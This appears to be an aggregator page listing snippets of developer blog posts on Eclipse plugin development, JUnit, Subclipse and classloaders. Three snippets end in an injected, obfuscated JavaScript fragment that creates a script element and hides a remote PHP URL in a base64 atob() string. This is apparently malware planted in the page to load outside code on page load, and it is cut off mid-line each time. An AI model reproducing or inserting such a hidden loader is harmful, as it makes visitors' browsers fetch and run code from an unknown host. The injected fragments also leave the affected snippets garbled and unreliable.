Why does JUnit only report the first failure in a single test?
(Submitted by: J. B. Rainsberger)
Reporting multiple failures in a single test is generally a sign that the test does too much, compared to what a unit test ought to do. Usually this means either that the test is really a functional/acceptance/customer test or, if it is ...
eclipse plugin开发过程中也有几个心得
另外在实践eclipse plugin开发过程中也有几个心得:
1、如果开发plugin,所有的依赖库都要包含到 Plug-in Dependencies 中;而不能只是引入到工程中。2、如何输出到console:MessageConsole mc=new MessageConsole("****",null);IConsole[] cs=new IConsole[1];cs[0]=mc;ConsolePlugin.getDefault().getConsoleManager().addConsoles(cs);mc.activate();PrintStream out=new PrintStream( mc.newOutputStre...
将Subclipse的中文变成英文
Q: 这几天开始搭建svn,同时我也给我的eclipse安装了Subclipse插件,可是Subclipse对国际化的支援很好,可能是根据操作系统来选 择语言,所以呢,我的英文版的eclipse就有了一个中文版的subclipse,我是想换成英文的啦,可是捣鼓了半天没有结果。我没有发现那边可以设置,我把plugin目录下的....zh.properties删除或者换成英文都试过了,还是不行。哪位帮助一下
A:
设置eclipse启动参数:-clean -nl en_U...
每个项目最重要的十件事
这是我在做每个项目时的明细表,我强烈建议您也这样做。原因是:(1)新的开发者很快的就能够加快这个项目的进程,(2)用户能够容易的安装你的产品,而且也很容易去维护。
1.版本控制:应该说您需要有某种形式的版本控制系统。如今的版本控制系统应该选择Subversion ,您只需要一台服务器主机。开放源代码的项目时,我使用code.google.com ,商业项目时我使用Hosted-Projects 。Hosted-Projects,每...
Lunuo Plugin开发总结(一)
作为新手入行开发eclipse插件,到现在为止初步了解了eclipse,osgi,RCP,SWT/JFace等一些知识。在这过程中,给我最大的帮助的是这本《Contributing to eclipse Principle, Patterns, and Plug-Ins》,这本书的作者是大名鼎鼎的Erich Gamma,JUnit的开发者,在书中demo的开发就是JUnit-Plugin的开发,作者用了Test Driven Development 和Pattern Design的观点和方法。让我在学习的过程中深深为精彩的开发过...
We Have Lift-off: The Launching Framework in Eclipse
We Have Lift-off: The Launching Framework in Eclipse
http://www.eclipse.org/articles/Article-Launch-Framework/launch.html(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
Eclipse 3.4 Hidden Treasures
Eclipse 3.4 "Ganymede" will be released in the upcoming days. I've been working with the RC builds for some time now and I like it. Eclipse 3.4 is a better IDE and a more robust platform than its' predecessor. In this post, I've gathered some new features which I like and may be "off the beaten path".
Rich Hovers
This is not a hidden feature, but I had to mention it. The Jav...
在eclipse插件里添加property page
添加property page,实现on/off auto instrument 选项;一个项目包的列表,可以选择其中某些包需要instrument;一个filter,快速选择包名(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
Lunuo plugin使用注意1
使用Lunuo Plugin时,要打印出profiling信息时,一定要注意导入的包是跟插件目录同一个,否则由于classloader的机制,会造成静态的counter是不同的对象(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
Eclipse – a tale of two VMs (and many classloaders)
When starting off with Eclipse plugin development or rich client platform development, you're more than likely to run into issues like ClassNotFoundException or problems with the Java command line and properties like java.endorsed.dirs.
Most often, these problems arise because many Eclipse developers don't realise the magic that lets Eclipse do its work. Amongst these are th...